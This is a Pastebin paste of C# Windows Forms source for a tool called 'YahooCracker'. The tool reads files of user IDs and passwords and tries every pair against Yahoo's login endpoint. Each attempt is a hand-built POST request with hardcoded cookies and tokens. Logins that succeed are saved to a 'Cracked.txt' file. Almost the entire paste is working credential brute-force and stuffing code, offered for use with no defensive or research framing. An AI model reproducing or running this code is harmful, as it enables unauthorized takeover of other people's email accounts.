Guest User

yahoo

a guest
Mar 22nd, 2018
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.91 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Collections.Concurrent;
  4. using System.ComponentModel;
  5. using System.Data;
  6. using System.Drawing;
  7. using System.Linq;
  8. using System.Text;
  9. using System.Threading.Tasks;
  10. using System.Windows.Forms;
  11. using System.Threading;
  12. using System.Net;
  13. using System.Net.Sockets;
  14. using System.Net.Security;
  15. using System.IO;
  16. using System.Security.Authentication;
  17. using System.Security.Cryptography.X509Certificates;
  18. using System.Resources;
  19. using System.Media;
  20. using System.Diagnostics;
  21. using System.Reflection;
  22.  
  23. namespace YahooCracker
  24. {
  25. public partial class Form1 : Form
  26. {
  27. public string idFileName;
  28. public string pwFileName;
  29. public Thread l;
  30. public Thread t;
  31. public Thread crackerThread;
  32. public bool Loading = false;
  33. public List<string> Id = new List<string>();
  34. public long totalId;
  35. public bool isCracking = false;
  36. public string Server;
  37. public static int currId;
  38. public static int currPw;
  39.  
  40. public Form1()
  41. {
  42. InitializeComponent();
  43. }
  44.  
  45. public void SaveCracked()
  46. {
  47. if (lstCrack.Items.Count == 0) { return; }
  48. StreamWriter sr = new StreamWriter(Application.StartupPath + "\\Cracked.txt", false);
  49. bool first = true;
  50. foreach (string item in lstCrack.Items)
  51. {
  52. if (first)
  53. {
  54. sr.Write(item);
  55. first = false;
  56. }
  57. else if (!first)
  58. {
  59. sr.Write(Environment.NewLine + item);
  60. }
  61. }
  62. sr.Close();
  63. }
  64.  
  65. public static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
  66. {
  67. if (sslPolicyErrors == SslPolicyErrors.None)
  68. return true;
  69.  
  70. MessageBox.Show(sslPolicyErrors.ToString());
  71.  
  72. // Do not allow this client to communicate with unauthenticated servers.
  73. return false;
  74. }
  75.  
  76. static string ReadMessage(SslStream sslStream)
  77. {
  78. // Read the message sent by the server.
  79. // The end of the message is signaled using the
  80. // "<EOF>" marker.
  81. byte[] buffer = new byte[2048];
  82. StringBuilder messageData = new StringBuilder();
  83. int bytes = -1;
  84. do
  85. {
  86. sslStream.ReadTimeout = 7000;
  87. try
  88. {
  89. bytes = sslStream.Read(buffer, 0, buffer.Length);
  90.  
  91. // Use Decoder class to convert from bytes to UTF8
  92. // in case a character spans two buffers.
  93. Decoder decoder = Encoding.UTF8.GetDecoder();
  94. char[] chars = new char[decoder.GetCharCount(buffer, 0, bytes)];
  95. decoder.GetChars(buffer, 0, bytes, chars, 0);
  96. messageData.Append(chars);
  97. // Check for EOF.
  98. if (messageData.ToString().IndexOf("<EOF>") != -1)
  99. {
  100. break;
  101. }
  102. }
  103. catch (IOException) { }
  104. } while (bytes != 0);
  105.  
  106. return messageData.ToString();
  107. }
  108.  
  109. public void WriteToLabel(Label Lb, string sText)
  110. {
  111. if (Lb.InvokeRequired)
  112. Lb.Invoke((MethodInvoker)delegate()
  113. {
  114. WriteToLabel(Lb, sText);
  115. });
  116. else Lb.Text = sText;
  117. }
  118.  
  119. public void UpdateCmd(Button button, bool enabled)
  120. {
  121. if (button.InvokeRequired)
  122. button.Invoke((MethodInvoker)delegate()
  123. {
  124. UpdateCmd(button, enabled);
  125. });
  126. else button.Enabled = enabled;
  127. }
  128.  
  129. public void UpdateProgBar(ProgressBar prog, long value)
  130. {
  131. if (prog.InvokeRequired)
  132. prog.Invoke((MethodInvoker)delegate()
  133. {
  134. UpdateProgBar(prog, value);
  135. });
  136. else prog.Value = Convert.ToInt32(value);
  137. }
  138.  
  139. public void RemoveListItem(ListBox lst)
  140. {
  141. if (lst.InvokeRequired)
  142. lst.Invoke((MethodInvoker)delegate()
  143. {
  144. RemoveListItem(lst);
  145. });
  146. else if (lst.Items.Count > 0) { lst.Items.RemoveAt(0); }
  147. }
  148.  
  149. public void SelectListItem(ListBox lst, int index)
  150. {
  151. if (lst.InvokeRequired)
  152. lst.Invoke((MethodInvoker)delegate()
  153. {
  154. SelectListItem(lst, index);
  155. });
  156. else lst.SetSelected(index, true);
  157. }
  158.  
  159. public void WriteToText(TextBox TB, string sText)
  160. {
  161. try
  162. {
  163. if (TB.InvokeRequired)
  164. TB.Invoke((MethodInvoker)delegate()
  165. {
  166. WriteToText(TB, sText);
  167. });
  168. else TB.Text = sText;
  169. }
  170. catch (Exception ee)
  171. {
  172. string shit = ee.Message;
  173. }
  174. }
  175.  
  176. private void addToList(ListBox LB, string sText)
  177. {
  178. if (LB.InvokeRequired)
  179. LB.Invoke((MethodInvoker)delegate()
  180. {
  181. addToList(LB, sText);
  182. });
  183. else LB.Items.Add(sText);
  184. }
  185.  
  186. private void clearListBox(ListBox LB)
  187. {
  188. if (LB.InvokeRequired)
  189. LB.Invoke((MethodInvoker)delegate()
  190. {
  191. clearListBox(LB);
  192. });
  193. else LB.Items.Clear();
  194. }
  195.  
  196. public void PlaySound(string wavFile)
  197. {
  198. Assembly assem;
  199. SoundPlayer sPlayer;
  200. assem = Assembly.GetExecutingAssembly();
  201. sPlayer = new SoundPlayer(assem.GetManifestResourceStream("YahooCracker." + wavFile));
  202. sPlayer.Play();
  203. }
  204.  
  205. private void LoadListBox()
  206. {
  207. Loading = true;
  208. if (lstPass.Items.Count > 0) { clearListBox(lstPass); }
  209.  
  210. string[] lines = File.ReadAllLines(pwFileName);
  211. foreach (string line in lines)
  212. {
  213. if (line != null)
  214. {
  215. if (checkDupe.Checked)
  216. {
  217. if (!lstPass.Items.Contains(line))
  218. {
  219. addToList(lstPass, line);
  220. WriteToLabel(lblStatus, "Status: Loading " + lstPass.Items.Count + " Pws ...");
  221. }
  222. }
  223. else
  224. {
  225. addToList(lstPass, line);
  226. WriteToLabel(lblStatus, "Status: Loading " + lstPass.Items.Count + " Pws ...");
  227. }
  228. }
  229. }
  230. Loading = false;
  231. WriteToLabel(lblStatus, "Status: Successfully Loaded " + lstPass.Items.Count + " Pws.");
  232. }
  233.  
  234. private void LoadList()
  235. {
  236. Loading = true;
  237. if (Id.Count > 0) { Id.Clear(); }
  238.  
  239. string[] lines = File.ReadAllLines(idFileName);
  240. totalId = 0;
  241.  
  242. foreach (string line in lines)
  243. {
  244. if (line != null)
  245. {
  246. if (checkDupe.Checked)
  247. {
  248. if (!Id.Contains<string>(line.ToLower()))
  249. {
  250. Id.Add(line.ToLower());
  251. WriteToLabel(lblStatus, "Status: Loading " + Id.Count + " Ids ...");
  252. }
  253. }
  254. else
  255. {
  256. Id.Add(line.ToLower());
  257. WriteToLabel(lblStatus, "Status: Loading " + Id.Count + " Ids ...");
  258. }
  259. }
  260. }
  261. Loading = false;
  262. totalId = Id.Count;
  263. WriteToLabel(lblStatus, "Status: Successfully Loaded " + Id.Count + " Ids.");
  264. WriteToLabel(lblTotalId, totalId.ToString());
  265. }
  266.  
  267. private void YahooLogin()
  268. {
  269. while (isCracking)
  270. {
  271. TcpClient sslSocket = new TcpClient(Server, 443);
  272. SslStream sStream = new SslStream(sslSocket.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);
  273.  
  274. string UserId = (txtBefore.Text + Id[currId] + txtAfter.Text).Replace(" ", "+");
  275. string PassWord = lstPass.Items[currPw].ToString();
  276.  
  277. try
  278. {
  279. sStream.AuthenticateAsClient(Server);
  280. }
  281. catch (AuthenticationException Ae)
  282. {
  283. WriteToText(txtData, Ae.Message);
  284. if (Ae.InnerException != null)
  285. {
  286. WriteToText(txtData, Ae.InnerException.ToString());
  287. }
  288. WriteToLabel(lblStatus, "Status: SSL Auth Failed - Closing Connection.");
  289. sslSocket.Close();
  290. }
  291. catch (Exception shit) { WriteToText(txtData, shit.Message); }
  292.  
  293. string timeStamp = Math.Round((DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0)).TotalMilliseconds).ToString();
  294.  
  295. string Post = "username=" + UserId + "&passwd=" + PassWord + "&signin=&_ts=" + timeStamp + "&_tpa=&_muh=&_crumb=YVFrSr1NN5p&_uuid=atQzavZpWNkY&_seqid=2";
  296.  
  297. string Pck = "POST https://jsapi.login.yahoo.com/t HTTP/1.1\n" +
  298. "Host: mail.yahoo-inc.com\n" +
  299. "Connection: keep-alive\n" +
  300. "Content-Length: " + Post.Length + "\n" +
  301. "Origin: https://mail.yahoo-inc.com\n" +
  302. "X-Requested-With: XMLHttpRequest\n" +
  303. "X-PJAX: true\n" +
  304. "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\n" +
  305. "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n" +
  306. "Accept: */*\n" +
  307. "Referer: https://jsapi.login.yahoo.com/t\n" +
  308. "Accept-Language: en-US,en;q=0.8\n" +
  309. "Cookie: BX=br2245laad8v0&b=3&s=78; ywandp=10001756605956%3A1631432904; fpc=10001756605956%3AZaKqaTzx%7C%7C\n\n" + Post + "\n\n<EOF>";
  310.  
  311. try
  312. {
  313. byte[] message = Encoding.UTF8.GetBytes(Pck);
  314. sStream.Write(message);
  315. sStream.Flush();
  316. string serverMessage = ReadMessage(sStream);
  317.  
  318. if (checkReturnData.Checked) { WriteToText(txtData, serverMessage); }
  319. WriteToLabel(lblCurrId, UserId);
  320. WriteToLabel(lblCurrPw, PassWord);
  321. if (currId <= totalId) { UpdateProgBar(Prog, currId); }
  322. WriteToLabel(lblIdLeft, (totalId-(currId + 1)).ToString());
  323.  
  324. sslSocket.Close();
  325. if (serverMessage.Contains("204 No Response"))
  326. {
  327. if (serverMessage.Contains("Y=v=1"))
  328. {
  329. addToList(lstCrack, UserId + " - " + PassWord);
  330. SaveCracked();
  331. PlaySound("Data_8.wav");
  332.  
  333. }
  334. }
  335. else if (serverMessage.Contains("200 OK") || serverMessage.Contains("forgot?stage=fe100"))
  336. {
  337.  
  338. }
  339. else
  340. {
  341.  
  342. }
  343. }
  344. catch (Exception ex)
  345. {
  346. WriteToText(txtData, ex.Message);
  347. }
  348.  
  349. currId++;
  350.  
  351. if (currId >= totalId)
  352. {
  353. currPw++;
  354. if (currPw >= lstPass.Items.Count)
  355. {
  356. isCracking = false;
  357. UpdateProgBar(Prog, 0);
  358. UpdateCmd(cmdStart, true);
  359. UpdateCmd(cmdStop, false);
  360. WriteToLabel(lblStatus, "Status: Cracking Finished.");
  361. WriteToLabel(lblCurrId, "-");
  362. WriteToLabel(lblCurrPw, "-");
  363. WriteToLabel(lblIdLeft, "0");
  364. Thread.CurrentThread.Join();
  365. break;
  366. }
  367. else
  368. {
  369. currId = 0;
  370. UpdateProgBar(Prog, 0);
  371. WriteToLabel(lblIdLeft, totalId.ToString());
  372. SelectListItem(lstPass, currPw);
  373. }
  374. }
  375.  
  376. }
  377. WriteToLabel(lblStatus, "Status: Cracking Finished.");
  378. WriteToLabel(lblCurrId, "-");
  379. WriteToLabel(lblCurrPw, "-");
  380. WriteToLabel(lblIdLeft, "0");
  381. UpdateProgBar(Prog, 0);
  382. UpdateCmd(cmdStart, true);
  383. UpdateCmd(cmdStop, false);
  384. Thread.CurrentThread.Abort();
  385.  
  386. }
  387.  
  388. private void cmdSaveCrack_Click(object sender, EventArgs e)
  389. {
  390. if (lstCrack.Items.Count == 0) { lblStatus.Text = "Status: Nothing To Save."; return; }
  391. var saveFile = new SaveFileDialog();
  392. saveFile.Filter = "Text (*.txt)|*.txt";
  393. if (saveFile.ShowDialog() == DialogResult.OK)
  394. {
  395. bool first = true;
  396. using (var sw = new StreamWriter(saveFile.FileName, false))
  397. foreach (var item in lstCrack.Items)
  398. {
  399. if (first)
  400. {
  401. sw.Write(item.ToString());
  402. first = false;
  403. }
  404. else if (!first)
  405. {
  406. sw.Write(Environment.NewLine + item.ToString());
  407. }
  408. }
  409. }
  410. }
  411.  
  412. private void cmdLoadId_Click(object sender, EventArgs e)
  413. {
  414. if (Loading) { return; }
  415.  
  416. DialogResult idResult = oFD.ShowDialog();
  417. if (idResult == DialogResult.OK)
  418. {
  419. idFileName = oFD.FileName;
  420. txtIdPath.Text = idFileName;
  421. l = new Thread(new ThreadStart(LoadList));
  422. l.Start();
  423. }
  424. else { lblStatus.Text = "Status: Load an Id file."; }
  425.  
  426. }
  427.  
  428. private void cmdLoadPass_Click(object sender, EventArgs e)
  429. {
  430. if (Loading) { return; }
  431.  
  432. DialogResult pwResult = oFD.ShowDialog();
  433. if (pwResult == DialogResult.OK)
  434. {
  435. pwFileName = oFD.FileName;
  436. t = new Thread(new ThreadStart(LoadListBox));
  437. t.Start();
  438. }
  439. else { lblStatus.Text = "Status: Load a Pw file."; }
  440. }
  441.  
  442. private void cmdStart_Click(object sender, EventArgs e)
  443. {
  444. if (Id.Count == 0) { lblStatus.Text = "Status: Load an Id file."; return; }
  445. if (lstPass.Items.Count == 0) { lblStatus.Text = "Status: Load a Pw file."; return; }
  446. if (txtServer.Text == "") { lblStatus.Text = "Status: Enter a server."; return; }
  447.  
  448. totalId = Id.Count;
  449. currId = 0;
  450. currPw = 0;
  451. Prog.Minimum = 0;
  452. Prog.Maximum = Convert.ToInt32(totalId);
  453. Prog.Value = 0;
  454. lblTotalId.Text = totalId.ToString();
  455. lblIdLeft.Text = totalId.ToString();
  456. Server = txtServer.Text;
  457. lstPass.SetSelected(0, true);
  458. lblStatus.Text = "Status: Cracking in progress ...";
  459. isCracking = true;
  460. cmdStart.Enabled = false;
  461. cmdStop.Enabled = true;
  462.  
  463. crackerThread = new Thread(new ThreadStart(YahooLogin));
  464. crackerThread.Start();
  465. }
  466.  
  467. private void cmdStop_Click(object sender, EventArgs e)
  468. {
  469. isCracking = false;
  470. cmdStop.Enabled = false;
  471. cmdStart.Enabled = true;
  472. }
  473.  
  474. private void cmdAddPass_Click(object sender, EventArgs e)
  475. {
  476. if (txtAddPw.Text != "")
  477. {
  478. if (checkDupe.Checked)
  479. {
  480. if (!lstPass.Items.Contains(txtAddPw.Text)) { lstPass.Items.Add(txtAddPw.Text); } else { lblStatus.Text = "Status: Pw already in list."; return; }
  481. }
  482. else { lstPass.Items.Add(txtAddPw.Text); }
  483. txtAddPw.Text = "";
  484. }
  485. else { lblStatus.Text = "Status: Input a Pw to enter."; }
  486. }
  487.  
  488. private void cmdClearPass_Click(object sender, EventArgs e)
  489. {
  490. lstPass.Items.Clear();
  491. lblStatus.Text = "Status: User Ids cleared.";
  492. }
  493.  
  494. private void cmdRemovePass_Click(object sender, EventArgs e)
  495. {
  496. if (lstPass.SelectedItem != null)
  497. {
  498. lstPass.Items.Remove(lstPass.SelectedItem);
  499. }
  500. else { lblStatus.Text = "Status: Select a Pw to remove."; }
  501. }
  502.  
  503. private void txtAddPw_TextChanged(object sender, EventArgs e)
  504. {
  505.  
  506. }
  507.  
  508. private void txtAddPw_KeyDown(object sender, KeyEventArgs e)
  509. {
  510. if (e.KeyCode == Keys.Enter) { cmdAddPass.PerformClick(); }
  511. }
  512.  
  513. private void cmdClearCrack_Click(object sender, EventArgs e)
  514. {
  515. lstCrack.Items.Clear();
  516. lblStatus.Text = "Status: Cracked Ids cleared.";
  517. }
  518.  
  519. private void cmdCopyCrack_Click(object sender, EventArgs e)
  520. {
  521. if (lstCrack.SelectedItem != null)
  522. {
  523. Clipboard.SetText(lstCrack.SelectedItem.ToString());
  524. }
  525. else { return; }
  526. }
  527.  
  528. private void checkReturnData_CheckedChanged(object sender, EventArgs e)
  529. {
  530. if (checkReturnData.Checked)
  531. {
  532. this.Width = 841;
  533. }
  534. else { this.Width = 541; }
  535. }
  536.  
  537. private void Form1_Load(object sender, EventArgs e)
  538. {
  539.  
  540. }
  541. }
  542. }
Add Comment
Please, Sign In to add comment